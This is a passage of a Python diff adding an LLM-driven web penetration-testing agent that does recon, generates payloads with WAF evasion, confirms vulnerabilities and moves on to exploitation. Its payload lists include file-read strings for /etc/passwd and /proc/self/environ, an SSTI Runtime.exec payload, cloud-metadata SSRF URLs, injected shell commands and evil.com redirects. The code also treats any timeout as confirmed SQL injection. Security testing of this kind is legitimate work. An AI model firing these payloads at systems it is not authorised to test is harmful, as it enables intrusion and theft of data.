__aenter__(self): + connector = aiohttp.TCPConnector(ssl=False, limit=10) + timeout = aiohttp.ClientTimeout(total=30) + headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"} + headers.update(self.auth_headers) + self.session = aiohttp.ClientSession(connector=connector, timeout=timeout, headers=headers) + return self + + async def __aexit__(self, *args): + if self.session: + await self.session.close() + + async def run(self) -> Dict[str, Any]: + """ + Main agent loop - Think, Act, Observe, Adapt + + Uses LLM for intelligent decision making at each step. + """ + await self.log("info", "=" * 60) + await self.log("info", "AI OFFENSIVE SECURITY AGENT ACTIVATED") + await self.log("info", "=" * 60) + await self.log("info", f"Target: {self.target}") + await self.log("info", f"Mode: LLM-POWERED INTELLIGENT TESTING") + if self.custom_prompt: + await self.log("info", f"Custom prompt loaded: {len(self.custom_prompt)} chars") + await self.log("info", "") + + try: + # Phase 1: Reconnaissance (use recon data if available) + await self.log("info", "[PHASE 1] RECONNAISSANCE") + await self._recon_phase() + + # Phase 2: LLM-Powered Vulnerability Testing + await self.log("info", "") + await self.log("info", "[PHASE 2] INTELLIGENT VULNERABILITY TESTING") + await self._testing_phase() + + # Phase 3: Exploitation (only confirmed vulnerabilities) + if self.state.findings: + await self.log("info", "") + await self.log("info", "[PHASE 3] EXPLOITATION") + await self._exploitation_phase() + + # Phase 4: Attack Chaining + if len(self.state.findings) > 1: + await self.log("info", "") + await self.log("info", "[PHASE 4] ATTACK CHAINING") + await self._chaining_phase() + + # Generate Report + await self.log("info", "") + await self.log("info", "[PHASE 5] REPORT GENERATION") + report = await self._generate_report() + + return report + + except Exception as e: + await self.log("error", f"Agent error: {str(e)}") + import traceback + traceback.print_exc() + return {"error": str(e), "findings": [f.__dict__ for f in self.state.findings]} + + async def _recon_phase(self): + """Reconnaissance - use existing recon data or perform basic discovery""" + + # Use recon context if available + if self.state.recon_context: + await self.log("info", " Using provided recon context...") + await self._load_recon_context() + else: + await self.log("info", " Performing basic reconnaissance...") + await self._basic_recon() + + await self.log("info", f" Found {len(self.state.discovered_endpoints)} endpoints") + await self.log("info", f" Found {sum(len(v) for v in self.state.discovered_params.values())} parameters") + await self.log("info", f" Technologies: {', '.join(self.state.technologies[:5]) or 'Unknown'}") + + async def _load_recon_context(self): + """Load data from recon context""" + ctx = self.state.recon_context + + # Load endpoints from various recon sources + if ctx.get("data", {}).get("endpoints"): + self.state.discovered_endpoints.extend(ctx["data"]["endpoints"][:100]) + + if ctx.get("data", {}).get("urls"): + self.state.discovered_endpoints.extend(ctx["data"]["urls"][:100]) + + if ctx.get("data", {}).get("crawled_urls"): + self.state.discovered_endpoints.extend(ctx["data"]["crawled_urls"][:100]) + + # Load parameters + if ctx.get("data", {}).get("parameters"): + for param_data in ctx["data"]["parameters"]: + if isinstance(param_data, dict): + url = param_data.get("url", self.target) + params = param_data.get("params", []) + self.state.discovered_params[url] = params + elif isinstance(param_data, str): + self.state.discovered_params[self.target] = self.state.discovered_params.get(self.target, []) + [param_data] + + # Load technologies + if ctx.get("data", {}).get("technologies"): + self.state.technologies.extend(ctx["data"]["technologies"]) + + # Load from attack surface + if ctx.get("attack_surface"): + surface = ctx["attack_surface"] + if surface.get("live_hosts"): + for host in surface.get("live_urls", [])[:50]: + if host not in self.state.discovered_endpoints: + self.state.discovered_endpoints.append(host) + + # Deduplicate + self.state.discovered_endpoints = list(set(self.state.discovered_endpoints)) + + async def _basic_recon(self): + """Perform basic reconnaissance when no recon data is available""" + # Fingerprint + await self._fingerprint_target() + + # Discover common endpoints + common_paths = [ + "/", "/login", "/admin", "/api", "/api/v1", + "/user", "/search", "/upload", "/config", + "/?id=1", "/?page=1", "/?q=test", + ] + + parsed = urlparse(self.target) + base_url = f"{parsed.scheme}://{parsed.netloc}" + + for path in common_paths: + url = urljoin(base_url, path) + try: + async with self.session.get(url, allow_redirects=False) as resp: + if resp.status < 400 and resp.status != 404: + self.state.discovered_endpoints.append(url) + # Extract params + if "?" in url: + parsed_url = urlparse(url) + params = list(parse_qs(parsed_url.query).keys()) + self.state.discovered_params[url] = params + except: + pass + + async def _fingerprint_target(self): + """Fingerprint the target""" + try: + async with self.session.get(self.target) as resp: + body = await resp.text() + headers = dict(resp.headers) + + # Server detection + server = headers.get("Server", "") + if server: + self.state.technologies.append(f"Server: {server}") + + # X-Powered-By + powered = headers.get("X-Powered-By", "") + if powered: + self.state.technologies.append(powered) + + # Technology signatures + tech_sigs = { + "PHP": [".php", "PHPSESSID"], + "ASP.NET": [".aspx", "__VIEWSTATE"], + "Java": [".jsp", "JSESSIONID"], + "Python": ["django", "flask"], + "Node.js": ["express", "connect.sid"], + "WordPress": ["wp-content", "wp-includes"], + "Laravel": ["laravel", "XSRF-TOKEN"], + } + + for tech, sigs in tech_sigs.items(): + for sig in sigs: + if sig.lower() in body.lower() or sig in str(headers): + if tech not in self.state.technologies: + self.state.technologies.append(tech) + break + + except Exception as e: + await self.log("debug", f"Fingerprint error: {e}") + + async def _testing_phase(self): + """LLM-powered vulnerability testing""" + + # Determine what to test based on recon data + test_strategy = await self._get_test_strategy() + + # Get endpoints to test + endpoints = self.state.discovered_endpoints[:20] or [self.target] + + for endpoint in endpoints: + await self.log("info", f" Testing: {endpoint[:60]}...") + + for vuln_type in test_strategy: + # Get LLM-enhanced payloads for this context + payloads = await self._get_smart_payloads(endpoint, vuln_type) + + for payload in payloads[:5]: + result = await self._test_and_verify(endpoint, vuln_type, payload) + + if result and result.get("confirmed"): + finding = Finding( + vuln_type=vuln_type, + severity=self._get_severity(vuln_type), + endpoint=endpoint, + payload=payload, + evidence=result.get("evidence", ""), + exploitable=result.get("exploitable", False), + confidence=result.get("confidence", "high"), + llm_analysis=result.get("analysis", ""), + raw_request=result.get("request", ""), + raw_response=result.get("response", "")[:2000], + impact=self._get_impact(vuln_type), + ) + self.state.findings.append(finding) + await self.log("warning", f" [CONFIRMED] {vuln_type.upper()} - {result.get('confidence', 'high')} confidence") + break # Found vuln, move to next type + + async def _get_test_strategy(self) -> List[str]: + """Use LLM to determine what to test based on recon data""" + + # Default strategy + default_strategy = ["xss", "sqli", "lfi", "ssti", "ssrf"] + + if not self.llm_manager: + return default_strategy + + try: + # Build context for LLM + context = { + "target": self.target, + "technologies": self.state.technologies, + "endpoints_count": len(self.state.discovered_endpoints), + "parameters_count": sum(len(v) for v in self.state.discovered_params.values()), + "sample_endpoints": self.state.discovered_endpoints[:5], + } + + prompt = f"""Based on the following reconnaissance data, determine the most likely vulnerability types to test. + +Target: {context['target']} +Technologies detected: {', '.join(context['technologies']) or 'Unknown'} +Endpoints found: {context['endpoints_count']} +Parameters found: {context['parameters_count']} +Sample endpoints: {context['sample_endpoints']} + +Custom instructions: {self.custom_prompt[:500] if self.custom_prompt else 'None'} + +Return a JSON array of vulnerability types to test, ordered by likelihood. +Valid types: xss, sqli, lfi, rce, ssti, ssrf, xxe, idor, open_redirect + +Example: ["sqli", "xss", "lfi"] + +IMPORTANT: Only return the JSON array, no other text.""" + + response = self.llm_manager.generate(prompt, "You are a penetration testing expert. Analyze recon data and suggest vulnerability tests.") + + # Parse response + try: + # Find JSON array in response + match = re.search(r'\[.*?\]', response, re.DOTALL) + if match: + strategy = json.loads(match.group()) + if isinstance(strategy, list) and len(strategy) > 0: + return strategy[:7] + except: + pass + + except Exception as e: + await self.log("debug", f"LLM strategy error: {e}") + + return default_strategy + + async def _get_smart_payloads(self, endpoint: str, vuln_type: str) -> List[str]: + """Get context-aware payloads from LLM""" + + base = self.base_payloads.get(vuln_type, []) + + if not self.llm_manager: + return base + + try: + # Get endpoint context + params = self.state.discovered_params.get(endpoint, []) + techs = self.state.technologies + + prompt = f"""Generate 3 specialized {vuln_type.upper()} payloads for this context: + +Endpoint: {endpoint} +Parameters: {params} +Technologies: {techs} +WAF detected: {self.state.waf_detected} ({self.state.waf_type}) + +Requirements: +1. Payloads should be tailored to the detected technologies +2. If WAF detected, use evasion techniques +3. Include both basic and advanced payloads + +Return ONLY a JSON array of payload strings. +Example: ["payload1", "payload2", "payload3"]""" + + response = self.llm_manager.generate(prompt, "You are a security researcher. Generate effective but safe test payloads.") + + try: + match = re.search(r'\[.*?\]', response, re.DOTALL) + if match: + smart_payloads = json.loads(match.group()) + if isinstance(smart_payloads, list): + return smart_payloads + base + except: + pass + + except Exception as e: + await self.log("debug", f"Smart payload error: {e}") + + return base + + async def _test_and_verify(self, endpoint: str, vuln_type: str, payload: str) -> Optional[Dict]: + """Test a payload and use LLM to verify if it's a real vulnerability""" + + try: + # Prepare request + parsed = urlparse(endpoint) + base_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}" + + # Build params with payload + params = {} + if parsed.query: + for p in parsed.query.split("&"): + if "=" in p: + k, v = p.split("=", 1) + params[k] = payload + else: + test_params = self.state.discovered_params.get(endpoint, []) or ["id", "q", "search"] + for p in test_params[:3]: + params[p] = payload + + # Send request + async with self.session.get(base_url, params=params, allow_redirects=False) as resp: + body = await resp.text() + status = resp.status + headers = dict(resp.headers) + + # Build raw request for logging + raw_request = f"GET {resp.url}\n" + raw_request += "\n".join([f"{k}: {v}" for k, v in self.auth_headers.items()]) + + # First, do quick checks for obvious indicators + quick_result = self._quick_vuln_check(vuln_type, payload, body, status, headers) + + if not quick_result.get("possible"): + return None + + # If possible vulnerability, use LLM to confirm + if self.llm_manager: + confirmation = await self._llm_confirm_vulnerability( + vuln_type, payload, body[:3000], status, headers, endpoint + ) + if confirmation.get("confirmed"): + return { + "confirmed": True, + "evidence": confirmation.get("evidence", quick_result.get("evidence", "")), + "exploitable": confirmation.get("exploitable", False), + "confidence": confirmation.get("confidence", "medium"), + "analysis": confirmation.get("analysis", ""), + "request": raw_request, + "response": body[:2000], + } + else: + # No LLM, use quick check result + if quick_result.get("high_confidence"): + return { + "confirmed": True, + "evidence": quick_result.get("evidence", ""), + "exploitable": True, + "confidence": "medium", + "analysis": "Confirmed by response analysis (no LLM)", + "request": raw_request, + "response": body[:2000], + } + + except asyncio.TimeoutError: + if vuln_type == "sqli": + return { + "confirmed": True, + "evidence": "Request timeout - possible time-based SQL injection", + "exploitable": True, + "confidence": "medium", + "analysis": "Time-based blind SQLi detected", + } + except Exception as e: + await self.log("debug", f"Test error: {e}") + + return None + + def _quick_vuln_check(self, vuln_type: str, payload: str, body: str, status: int, headers: Dict) -> Dict: + """Quick vulnerability check without LLM""" + result = {"possible": False, "high_confidence": False, "evidence": ""} + body_lower = body.lower() + + if vuln_type == "xss": + # Check for exact payload reflection (unencoded) + if payload in body and "<" in payload: + result["possible"] = True + result["evidence"] = "XSS payload reflected without encoding" + # High confidence only if script tags execute + if "", "", + "\">", "'-alert('XSS')-'", + "", "javascript:alert('XSS')", + "", "{{constructor.constructor('alert(1)')()}}", + "", + ], + "lfi": [ + "../../../etc/passwd", "....//....//....//etc/passwd", + "/etc/passwd", "..\\..\\..\\windows\\system32\\drivers\\etc\\hosts", + "php://filter/convert.base64-encode/resource=index.php", + "file:///etc/passwd", "/proc/self/environ", + "..%2f..%2f..%2fetc%2fpasswd", "....\/....\/....\/etc/passwd" + ], + "ssti": [ + "{{7*7}}", "${7*7}", "<%= 7*7 %>", "#{7*7}", "*{7*7}", + "{{config}}", "{{self.__class__.__mro__}}", + "${T(java.lang.Runtime).getRuntime().exec('id')}", + "{{''.__class__.__mro__[1].__subclasses__()}}" + ], + "ssrf": [ + "http://127.0.0.1", "http://localhost", + "http://169.254.169.254/latest/meta-data/", + "http://[::1]", "http://0.0.0.0", "file:///etc/passwd", + "http://metadata.google.internal/", "http://100.100.100.200/" + ], + "rce": [ + "; id", "| id", "$(id)", "`id`", "&& id", + "; cat /etc/passwd", "| cat /etc/passwd", + "; whoami", "| whoami", "&& whoami" + ], + "open_redirect": [ + "//evil.com", "https://evil.com", "/\\evil.com", + "//evil.com/%2f..", "https:evil.com", "////evil.com" + ] + } + + # Vulnerability indicators for each type + VULN_INDICATORS = { + "sqli": { + "errors": [ + "sql syntax", "mysql_", "pg_query", "ora-", "sqlite_", + "database error", "syntax error", "unclosed quotation", + "you have an error in your sql", "warning: mysql", + "postgresql", "microsoft sql native client error", + "odbc drivers error", "invalid query", "sql command" + ], + "blind_indicators": ["different response", "time delay"] + }, + "xss": { + "reflection_check": True, # Check if payload is reflected + "context_check": True # Check if in dangerous context + }, + "lfi": { + "content": [ + "root:x:", "root:*:", "[boot loader]", "localhost", + "daemon:x:", "bin:x:", "sys:x:", "www-data" + ] + }, + "ssti": { + "evaluation": {"7*7": "49", "7*'7'": "7777777"} + }, + "ssrf": { + "internal_access": ["127.0.0.1", "localhost", "internal"] + } + } + + def __init__( + self, + target: str, + mode: OperationMode = OperationMode.FULL_AUTO, + log_callback: Optional[Callable] = None, + progress_callback: Optional[Callable] = None, + auth_headers: Optional[Dict] = None, + task: Optional[Any] = None, + custom_prompt: Optional[str] = None, + recon_context: Optional[Dict] = None, + finding_callback: Optional[Callable] = None, + ): + self.target = self._normalize_target(target) + self.mode = mode + self.log = log_callback or self._default_log + self.progress_callback = progress_callback + self.finding_callback = finding_callback + self.auth_headers = auth_headers or {} + self.task = task + self.custom_prompt = custom_prompt + self.recon_context = recon_context + self._cancelled = False + + self.session: Optional[aiohttp.ClientSession] = None + self.llm = LLMClient() + + # Data storage + self.recon = ReconData() + self.findings: List[Finding] = [] + self.tested_payloads: set = set() + self.custom_prompts: List[str] = [] + + def cancel(self): + """Cancel the agent execution""" + self._cancelled = True + + def is_cancelled(self) -> bool: + """Check if agent was cancelled""" + return self._cancelled + + async def add_custom_prompt(self, prompt: str): + """Add a custom prompt to be processed""" + self.custom_prompts.append(prompt) + await self.log_llm("info", f"[USER PROMPT RECEIVED] {prompt}") + # Process immediately if LLM is available + if self.llm.is_available(): + await self._process_custom_prompt(prompt) + + async def _process_custom_prompt(self, prompt: str): + """Process a custom user prompt with the LLM and execute requested tests""" + await self.log_llm("info", f"[AI] Processing user prompt: {prompt}") + + # Build context about available endpoints + endpoints_info = [] + for ep in self.recon.endpoints[:20]: # Limit to 20 for context + endpoints_info.append(f"- {_get_endpoint_method(ep)} {_get_endpoint_url(ep)}") + + params_info = [] + for param, values in list(self.recon.parameters.items())[:15]: + params_info.append(f"- {param}: {values[:3]}") + + system_prompt = f"""You are an expert penetration tester analyzing {self.target}. +The user has requested a specific test. Analyze the request and provide a structured response. + +Current reconnaissance data: +Endpoints ({len(self.recon.endpoints)} total): +{chr(10).join(endpoints_info[:10]) if endpoints_info else ' None discovered yet'} + +Parameters ({len(self.recon.parameters)} total): +{chr(10).join(params_info[:10]) if params_info else ' None discovered yet'} + +Technologies detected: {', '.join(self.recon.technologies) if self.recon.technologies else 'None'} + +IMPORTANT: Respond in this JSON format: +{{ + "analysis": "Your analysis of what the user is asking", + "action": "test_endpoint|test_parameter|scan_for|analyze|info", + "targets": ["list of specific URLs or parameters to test"], + "vuln_types": ["xss", "sqli", "idor", "ssrf", etc - if applicable], + "response": "Your detailed response to show the user" +}} + +If the request is unclear or just informational, use action "info" and provide helpful guidance.""" + + try: + response = await self.llm.generate(prompt, system=system_prompt) + if not response: + await self.log_llm("warning", "[AI] No response from LLM") + return + + await self.log_llm("info", f"[AI] Analyzing request...") + + # Try to parse as JSON for structured actions + import json + try: + # Extract JSON from response + json_match = re.search(r'\{[\s\S]*\}', response) + if json_match: + action_data = json.loads(json_match.group()) + action = action_data.get("action", "info") + targets = action_data.get("targets", []) + vuln_types = action_data.get("vuln_types", []) + ai_response = action_data.get("response", response) + + await self.log_llm("info", f"[AI RESPONSE] {ai_response}") + + # Execute the requested action + if action == "test_endpoint" and targets: + await self.log_llm("info", f"[AI] Executing endpoint tests on {len(targets)} targets...") + for target_url in targets[:5]: # Limit to 5 targets + await self._test_custom_endpoint(target_url, vuln_types or ["xss", "sqli"]) + + elif action == "test_parameter" and targets: + await self.log_llm("info", f"[AI] Testing parameters: {targets}") + await self._test_custom_parameters(targets, vuln_types or ["xss", "sqli"]) + + elif action == "scan_for" and vuln_types: + await self.log_llm("info", f"[AI] Scanning for: {vuln_types}") + for vtype in vuln_types[:3]: # Limit to 3 vuln types + await self._scan_for_vuln_type(vtype) + + elif action == "analyze": + await self.log_llm("info", f"[AI] Analysis complete - check response above") + + else: + await self.log_llm("info", f"[AI] Informational response provided") + else: + # No structured JSON, just show the response + await self.log_llm("info", f"[AI RESPONSE] {response[:1000]}") + + except json.JSONDecodeError: + # If not valid JSON, just show the response + await self.log_llm("info", f"[AI RESPONSE] {response[:1000]}") + + except Exception as e: + await self.log_llm("error", f"[AI] Error processing prompt: {str(e)}") + + async def _test_custom_endpoint(self, url: str, vuln_types: List[str]): + """Test a specific endpoint for vulnerabilities""" + if not self.session: + return + + await self.log("info", f" Testing endpoint: {url}") + + try: + # Parse URL to find parameters + parsed = urlparse(url) + params = parse_qs(parsed.query) + + if not params: + # Try adding common parameters + params = {"id": ["1"], "q": ["test"]} + + for param_name in list(params.keys())[:3]: + for vtype in vuln_types[:2]: + payloads = self.PAYLOADS.get(vtype, [])[:2] + for payload in payloads: + await self._test_single_param(url, param_name, payload, vtype) + + except Exception as e: + await self.log("debug", f" Error testing {url}: {e}") + + async def _test_custom_parameters(self, param_names: List[str], vuln_types: List[str]): + """Test specific parameters across known endpoints""" + endpoints_with_params = [ + ep for ep in self.recon.endpoints + if any(p in str(ep) for p in param_names) + ] + + if not endpoints_with_params: + # Use all endpoints that have parameters + endpoints_with_params = self.recon.endpoints[:10] + + for ep in endpoints_with_params[:5]: + url = _get_endpoint_url(ep) + for param in param_names[:3]: + for vtype in vuln_types[:2]: + payloads = self.PAYLOADS.get(vtype, [])[:2] + for payload in payloads: + await self._test_single_param(url, param, payload, vtype) + + async def _scan_for_vuln_type(self, vuln_type: str): + """Scan all endpoints for a specific vulnerability type""" + await self.log("info", f" Scanning for {vuln_type.upper()} vulnerabilities...") + + vuln_lower = vuln_type.lower() + + # Handle header-based vulnerabilities (no payloads needed) + if vuln_lower in ["clickjacking", "x-frame-options", "csp", "hsts", "headers", "security headers", "missing headers"]: + await self._test_security_headers(vuln_lower) + return + + # Handle CORS testing + if vuln_lower in ["cors", "cross-origin"]: + await self._test_cors() + return + + # Handle information disclosure + if vuln_lower in ["info", "information disclosure", "version", "technology"]: + await self._test_information_disclosure() + return + + # Standard payload-based testing + payloads = self.PAYLOADS.get(vuln_type, [])[:3] + if not payloads: + # Try AI-based testing for unknown vuln types + await self._ai_test_vulnerability(vuln_type) + return + + for ep in self.recon.endpoints[:10]: + url = _get_endpoint_url(ep) + for param in list(self.recon.parameters.keys())[:5]: + for payload in payloads: + await self._test_single_param(url, param, payload, vuln_type) + + async def _test_security_headers(self, vuln_type: str): + """Test for security header vulnerabilities like clickjacking""" + await self.log("info", f" Testing security headers...") + + # Test main target and key pages + test_urls = [self.target] + for ep in self.recon.endpoints[:5]: + url = _get_endpoint_url(ep) if isinstance(ep, dict) else ep + if url and url not in test_urls: + test_urls.append(url) + + for url in test_urls: + try: + async with self.session.get(url, allow_redirects=True) as resp: + headers = dict(resp.headers) + headers_lower = {k.lower(): v for k, v in headers.items()} + + findings = [] + + # Check X-Frame-Options (Clickjacking) + x_frame = headers_lower.get("x-frame-options", "") + csp = headers_lower.get("content-security-policy", "") + + if not x_frame and "frame-ancestors" not in csp.lower(): + findings.append({ + "type": "clickjacking", + "title": "Missing Clickjacking Protection", + "severity": "medium", + "description": "The page lacks X-Frame-Options header and CSP frame-ancestors directive, making it vulnerable to clickjacking attacks.", + "evidence": f"X-Frame-Options: Not set\nCSP: {csp[:100] if csp else 'Not set'}", + "remediation": "Add 'X-Frame-Options: DENY' or 'X-Frame-Options: SAMEORIGIN' header, or use 'frame-ancestors' in CSP." + }) + await self.log("warning", f" [FOUND] Clickjacking vulnerability - missing X-Frame-Options") + + # Check HSTS + hsts = headers_lower.get("strict-transport-security", "") + if not hsts and url.startswith("https"): + findings.append({ + "type": "missing_hsts", + "title": "Missing HSTS Header", + "severity": "low", + "description": "HTTPS site without Strict-Transport-Security header, vulnerable to protocol downgrade attacks.", + "evidence": "Strict-Transport-Security: Not set", + "remediation": "Add 'Strict-Transport-Security: max-age=31536000; includeSubDomains' header." + }) + + # Check X-Content-Type-Options + if "x-content-type-options" not in headers_lower: + findings.append({ + "type": "missing_xcto", + "title": "Missing X-Content-Type-Options Header", + "severity": "low", + "description": "Missing nosniff header allows MIME-sniffing attacks.", + "evidence": "X-Content-Type-Options: Not set", + "remediation": "Add 'X-Content-Type-Options: nosniff' header." + }) + + # Check CSP + if not csp: + findings.append({ + "type": "missing_csp", + "title": "Missing Content-Security-Policy Header", + "severity": "low", + "description": "No Content-Security-Policy header, increasing XSS risk.", + "evidence": "Content-Security-Policy: Not set", + "remediation": "Implement a restrictive Content-Security-Policy." + }) + + # Create findings + for f in findings: + finding = Finding( + id=hashlib.md5(f"{f['type']}{url}".encode()).hexdigest()[:8], + title=f["title"], + severity=f["severity"], + vulnerability_type=f["type"], + cvss_score={"critical": 9.0, "high": 7.0, "medium": 4.0, "low": 3.0}.get(f["severity"], 3.0), + cvss_vector="CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N", + cwe_id="CWE-1021" if "clickjacking" in f["type"] else "CWE-693", + description=f["description"], + affected_endpoint=url, + evidence=f["evidence"], + remediation=f["remediation"], + ai_verified=True + ) + await self._add_finding(finding) + + except Exception as e: + await self.log("debug", f" Header test error: {e}") + + async def _test_cors(self): + """Test for CORS misconfigurations""" + await self.log("info", f" Testing CORS configuration...") + + test_origins = [ + "https://evil.com", + "https://attacker.com", + "null" + ] + + for url in [self.target] + [_get_endpoint_url(ep) for ep in self.recon.endpoints[:3]]: + if not url: + continue + + for origin in test_origins: + try: + headers = {"Origin": origin} + async with self.session.get(url, headers=headers) as resp: + acao = resp.headers.get("Access-Control-Allow-Origin", "") + acac = resp.headers.get("Access-Control-Allow-Credentials", "") + + if acao == origin or acao == "*": + severity = "high" if acac.lower() == "true" else "medium" + finding = Finding( + id=hashlib.md5(f"cors{url}{origin}".encode()).hexdigest()[:8], + title=f"CORS Misconfiguration - {origin}", + severity=severity, + vulnerability_type="cors", + cvss_score=7.5 if severity == "high" else 5.0, + cvss_vector="CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N", + cwe_id="CWE-942", + description=f"The server reflects the Origin header '{origin}' in Access-Control-Allow-Origin, potentially allowing cross-origin data theft.", + affected_endpoint=url, + evidence=f"Origin: {origin}\nAccess-Control-Allow-Origin: {acao}\nAccess-Control-Allow-Credentials: {acac}", + remediation="Configure CORS to only allow trusted origins. Avoid using wildcard (*) or reflecting arbitrary origins.", + ai_verified=True + ) + await self._add_finding(finding) + await self.log("warning", f" [FOUND] CORS misconfiguration at {url[:50]}") + break + except: + pass + + async def _test_information_disclosure(self): + """Test for information disclosure""" + await self.log("info", f" Testing for information disclosure...") + + for url in [self.target] + [_get_endpoint_url(ep) for ep in self.recon.endpoints[:5]]: + if not url: + continue + try: + async with self.session.get(url) as resp: + headers = dict(resp.headers) + + # Server header disclosure + server = headers.get("Server", "") + if server and any(v in server.lower() for v in ["apache/", "nginx/", "iis/", "tomcat/"]): + finding = Finding( + id=hashlib.md5(f"server{url}".encode()).hexdigest()[:8], + title="Server Version Disclosure", + severity="info", + vulnerability_type="information_disclosure", + cvss_score=0.0, + cwe_id="CWE-200", + description=f"The server discloses its version: {server}", + affected_endpoint=url, + evidence=f"Server: {server}", + remediation="Remove or obfuscate the Server header to prevent version disclosure.", + ai_verified=True + ) + await self._add_finding(finding) + + # X-Powered-By disclosure + powered_by = headers.get("X-Powered-By", "") + if powered_by: + finding = Finding( + id=hashlib.md5(f"poweredby{url}".encode()).hexdigest()[:8], + title="Technology Version Disclosure", + severity="info", + vulnerability_type="information_disclosure", + cvss_score=0.0, + cwe_id="CWE-200", + description=f"The X-Powered-By header reveals technology: {powered_by}", + affected_endpoint=url, + evidence=f"X-Powered-By: {powered_by}", + remediation="Remove the X-Powered-By header.", + ai_verified=True + ) + await self._add_finding(finding) + except: + pass + + async def _ai_dynamic_test(self, user_prompt: str): + """ + AI-driven dynamic vulnerability testing - can test ANY vulnerability type. + The LLM generates payloads, test strategies, and analyzes results dynamically. + + Examples of what this can test: + - XXE (XML External Entity) + - Race Conditions + - Rate Limiting Bypass + - WAF Bypass + - CSP Bypass + - BFLA (Broken Function Level Authorization) + - BOLA (Broken Object Level Authorization) + - JWT vulnerabilities + - GraphQL injection + - NoSQL injection + - Prototype pollution + - And ANY other vulnerability type! + """ + await self.log("info", f"[AI DYNAMIC TEST] Processing: {user_prompt}") + + if not self.llm.is_available(): + await self.log("warning", " LLM not available - attempting basic tests based on prompt") + await self._ai_test_fallback(user_prompt) + return + + # Gather reconnaissance context + endpoints_info = [] + for ep in self.recon.endpoints[:15]: + url = _get_endpoint_url(ep) + method = _get_endpoint_method(ep) + if url: + endpoints_info.append({"url": url, "method": method}) + + forms_info = [] + for form in self.recon.forms[:5]: + if isinstance(form, dict): + forms_info.append({ + "action": form.get("action", ""), + "method": form.get("method", "GET"), + "inputs": form.get("inputs", [])[:5] + }) + + context = f""" +TARGET: {self.target} +TECHNOLOGIES: {', '.join(self.recon.technologies) if self.recon.technologies else 'Unknown'} +ENDPOINTS ({len(endpoints_info)} found): +{json.dumps(endpoints_info[:10], indent=2)} + +FORMS ({len(forms_info)} found): +{json.dumps(forms_info, indent=2)} + +PARAMETERS DISCOVERED: {list(self.recon.parameters.keys())[:20]} +""" + + # Phase 1: Ask AI to understand the vulnerability and create test strategy + strategy_prompt = f"""You are an expert penetration tester. The user wants to test for: + +"{user_prompt}" + +Based on the target information below, create a comprehensive testing strategy. + +{context} + +Respond in JSON format with: +{{ + "vulnerability_type": "name of the vulnerability being tested", + "cwe_id": "CWE-XXX if applicable", + "owasp_category": "OWASP category if applicable", + "description": "Brief description of what this vulnerability is", + "severity_if_found": "critical|high|medium|low", + "cvss_estimate": 0.0-10.0, + "test_cases": [ + {{ + "name": "Test case name", + "technique": "Technique being used", + "url": "URL to test (use actual URLs from context)", + "method": "GET|POST|PUT|DELETE", + "headers": {{"Header-Name": "value"}}, + "body": "request body if POST/PUT", + "content_type": "application/json|application/xml|application/x-www-form-urlencoded", + "success_indicators": ["what to look for in response that indicates vulnerability"], + "failure_indicators": ["what indicates NOT vulnerable"] + }} + ], + "payloads": ["list of specific payloads to try"], + "analysis_tips": "What patterns or behaviors indicate this vulnerability" +}} + +Generate at least 3-5 realistic test cases using the actual endpoints from the context. +Be creative and thorough - think like a real penetration tester.""" + + await self.log("info", " Phase 1: AI generating test strategy...") + + try: + strategy_response = await self.llm.generate( + strategy_prompt, + "You are an expert penetration tester specializing in web application security. Provide detailed, actionable test strategies." + ) + + # Extract JSON from response + match = re.search(r'\{[\s\S]*\}', strategy_response) + if not match: + await self.log("warning", " AI did not return valid JSON strategy, using fallback") + await self._ai_test_fallback(user_prompt) + return + + strategy = json.loads(match.group()) + + vuln_type = strategy.get("vulnerability_type", user_prompt) + cwe_id = strategy.get("cwe_id", "") + severity = strategy.get("severity_if_found", "medium") + cvss = strategy.get("cvss_estimate", 5.0) + description = strategy.get("description", f"Testing for {vuln_type}") + + await self.log("info", f" Vulnerability: {vuln_type}") + await self.log("info", f" CWE: {cwe_id} | Severity: {severity} | CVSS: {cvss}") + await self.log("info", f" Test cases: {len(strategy.get('test_cases', []))}") + + # Phase 2: Execute test cases + await self.log("info", " Phase 2: Executing AI-generated test cases...") + + test_results = [] + for i, test_case in enumerate(strategy.get("test_cases", [])[:10]): + test_name = test_case.get("name", f"Test {i+1}") + await self.log("debug", f" Running: {test_name}") + + result = await self._execute_ai_dynamic_test(test_case) + if result: + result["test_name"] = test_name + result["success_indicators"] = test_case.get("success_indicators", []) + result["failure_indicators"] = test_case.get("failure_indicators", []) + test_results.append(result) + + # Phase 3: AI analysis of results + await self.log("info", " Phase 3: AI analyzing results...") + + analysis_prompt = f"""Analyze these test results for {vuln_type} vulnerability. + +VULNERABILITY BEING TESTED: {vuln_type} +{description} + +ANALYSIS TIPS: {strategy.get('analysis_tips', 'Look for error messages, unexpected behavior, or data leakage')} + +TEST RESULTS: +{json.dumps(test_results[:5], indent=2, default=str)[:8000]} + +For each test result, analyze if it indicates a vulnerability. +Consider: +- Success indicators: {strategy.get('test_cases', [{}])[0].get('success_indicators', [])} +- Response status codes, error messages, timing differences, data in response + +Respond in JSON: +{{ + "findings": [ + {{ + "is_vulnerable": true|false, + "confidence": "high|medium|low", + "test_name": "which test", + "evidence": "specific evidence from response", + "explanation": "why this indicates vulnerability" + }} + ], + "overall_assessment": "summary of findings", + "recommendations": ["list of remediation steps"] +}}""" + + analysis_response = await self.llm.generate( + analysis_prompt, + "You are a security analyst. Analyze test results and identify vulnerabilities with precision. Only report real findings with clear evidence." + ) + + # Parse analysis + analysis_match = re.search(r'\{[\s\S]*\}', analysis_response) + if analysis_match: + analysis = json.loads(analysis_match.group()) + + for finding_data in analysis.get("findings", []): + if finding_data.get("is_vulnerable") and finding_data.get("confidence") in ["high", "medium"]: + evidence = finding_data.get("evidence", "") + test_name = finding_data.get("test_name", "AI Test") + + # Find the matching test result for endpoint + affected_endpoint = self.target + for tr in test_results: + if tr.get("test_name") == test_name: + affected_endpoint = tr.get("url", self.target) + break + + finding = Finding( + id=hashlib.md5(f"{vuln_type}{affected_endpoint}{test_name}".encode()).hexdigest()[:8], + title=f"{vuln_type}", + severity=severity, + vulnerability_type=vuln_type.lower().replace(" ", "_"), + cvss_score=float(cvss) if cvss else 5.0, + cvss_vector="CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", + cwe_id=cwe_id or "CWE-1035", + 